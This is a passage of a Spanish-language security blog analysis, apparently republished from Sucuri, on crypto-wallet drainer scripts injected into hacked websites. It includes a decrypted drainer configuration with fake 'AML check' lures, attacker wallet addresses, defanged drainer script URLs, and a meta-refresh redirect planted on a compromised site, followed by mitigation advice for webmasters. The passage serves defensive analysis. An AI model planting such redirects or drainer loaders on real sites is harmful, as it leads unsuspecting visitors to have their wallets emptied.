sign-waiting " : { " title " : " Esperando su firma... " , " descripción " : " ¡ Por favor, firme el mensaje en su billetera! " } , " sign-confirmed " : { " descripción " : " ¡Éxito, tu señal está confirmada! " } , " error " : { " title " : " ¡ Se ha producido un error! " , " descripción " : " Su billetera no cumple con los requisitos. ¡Intente conectar una billetera activa intermedia para intentarlo nuevamente! " , " botón " : " Vuelva a conectar " } , " error de saldo bajo " : { " descripción " : " Por razones de seguridad no podemos permitirle conectar una billetera nueva o vacía " , " botón " : " Volver a conectar " } , " aml-check-error " : { " title " : " Error AML " , " descripción " : " Tu billetera no es AML clear, ¡no puedes usarla! " } } } , " receptor " : " 6552692643 " , " nombre de usuario " : " lebronj " , " dirección_trabajador " : " 0xc5cE06FC4E2A26514afe69e25a6B36ab51F9FE42 " }
Podemos ver los mensajes que hacen que la víctima piense que se trata simplemente de un proceso benigno de verificación y autorización AML (contra el lavado de dinero).
En esta versión de configuración, ya no vemos ACCESS_KEY, pero obtenemos algún nombre de usuario ( lebronj ), receptor ( 6552692643 ) y dirección_trabajador ( 0xc5cE06FC4E2A26514afe69e25a6B36ab51F9FE42 ).
Parece que los atacantes han cambiado a un drenaje alternativo (probablemente relacionado con CLIRIA/CAPTAIN_MIRA). Podemos ver decenas de miles de sitios de phishing Web3 que utilizan el dominio jscdnweb.pages[.]dev desde el 20 de septiembre de 2023 . Otras URL que parecen pertenecer al mismo tipo de drenaje son
- ryanclementjxq.github[.]io/chair.js .
- christiemcalley98102.github[.]io/chair.js
- clementadif.github[.]io/chair.js
- estafalife.github[.]io/nescam/chair.js
Nuevo paquete: actualización falsa del navegador + drenaje de criptomonedas
El 20 de febrero de 2024, @GustyDusty encontró un nuevo tipo de malware de actualización falsa del navegador .
Cuando analizamos la inyección, descubrimos que un sitio pirateado tenía una inyección de script de otro sitio pirateado. El script inyectado ( shared-services/js?j ) contenía el siguiente código:
La parte inferior de este script con la redirección a posiit[.]com/get_file es responsable de la actualización falsa del navegador. La parte superior de j.js contiene scripts relacionados con Web3, así como la constante cifrada selfHostSettings y el script jscdnweb.pages[.]dev/chair.js que ya habíamos visto en las inyecciones de enlaces dinámicos[.]cfd .
El JSON selfHostSettings descifrado contiene parámetros de configuración muy similares a los que hemos encontrado en las inyecciones de enlaces dinámicos[.]cfd , sin embargo, el nombre de usuario, el receptor y la dirección_trabajador eran diferentes, lo que implica un mal actor diferente detrás de este ataque.
" receptor " : " 5197277108 " , " nombre de usuario " : " hardhardworkhard " , " worker_address " : " 0x443B74A3C052463Ad6ae88eD9eE24E18a84302cE "
Redirecciones de phishing Web3 adicionales desde sitios pirateados
En otro sitio más encontramos el archivo / newsletter/index.html con el siguiente contenido:
< meta http - equiv = " actualizar " contenido = " 0; url=hxxps://newsoutlets[.]net/clau " / >
Esto redirige a los visitantes a los medios de comunicación[.]net/clau y luego abremarketplace[.]net. Los dominios se crearon hace menos de un mes, el 26 de enero de 2024 y el 14 de febrero de 2024, respectivamente .
Este último dominio pertenece a un sitio de phishing Web3 que sugiere inmediatamente conectar una billetera para "ver los detalles de una nueva oferta".
Los resultados de URLScan revelan más sitios pirateados con redireccionamientos similares.
Conclusión y medidas de mitigación
De 2022 a 2023, el uso de drenajes se reservó principalmente para el phishing y otros tipos de estafas dirigidas directamente a personas interesadas en criptomonedas y NFT. Los cientos de sitios Web3 falsos que se crean cada día demuestran que se trata de un nicho rentable para los ciberdelincuentes.
Sin embargo, la inyección de drenadores de criptomonedas en sitios web comprometidos aleatoriamente significa el siguiente nivel de adopción de tecnologías Web3. Ahora los piratas informáticos consideran que vale la pena atacar a los visitantes desprevenidos de sitios que no tienen ninguna relación con las criptomonedas y las tecnologías blockchain y esperan encontrar víctimas a las que se pueda engañar para que conecten sus billeteras a dichos sitios web.
Esta campaña de aplicaciones multimillonarias presenta uno de los primeros intentos masivos de monetizar el tráfico a sitios pirateados utilizando tecnologías Web3 que funcionan completamente en línea y no requieren la infección de las computadoras de los visitantes para robar sus tokens digitales. El futuro mostrará si este enfoque será adoptado por la comunidad cibercriminal en general o si será descartado como finalmente se descartaron las inyecciones de criptomineros JS.
Protegiendo su sitio contra el malware criptográfico Web3
Este nuevo desarrollo no cambia mucho para los webmasters. Si posee un sitio web, debe protegerlo del malware. También necesita monitorear su sitio y limpiar las infecciones lo antes posible en caso de un compromiso real.
Incluso una pequeña porción de código JavaScript inyectado, que puede pasar desapercibido o considerarse una molestia para algunos propietarios de sitios web, puede tener graves repercusiones y un posible compromiso para su sitio web. Los visitantes habituales del sitio web también corren riesgo, ya que se sabe que estas infecciones vacían carteras criptográficas enteras de víctimas desprevenidas.
Para mitigar el riesgo de estos ataques, considere reducir su superficie de ataque en cada oportunidad posible. Eso incluye:
- Parchar y actualizar periódicamente el software y el CMS de su sitio web, incluidos componentes extensibles como complementos y temas.
- Desinstalar complementos y otros componentes no utilizados o obsoletos.
- Usar contraseñas seguras y únicas para todas sus cuentas.
- Mantener copias de seguridad periódicas del sitio web almacenadas en una ubicación segura fuera del sitio.
- Colocar su sitio web detrás de un firewall de aplicaciones web para ayudar a bloquear robots dañinos, parchear virtualmente vulnerabilidades conocidas y filtrar el tráfico malicioso.
Si cree que su sitio web ya se ha visto afectado por este malware y necesita limpiar la infección, ¡podemos ayudarlo! Nuestros analistas de seguridad experimentados están disponibles las 24 horas del día, los 7 días de la semana, los 365 días del año para eliminar el malware del sitio web y proteger su sitio web.
Fuente: blog.sucuri.net
No hay comentarios.:
Publicar un comentario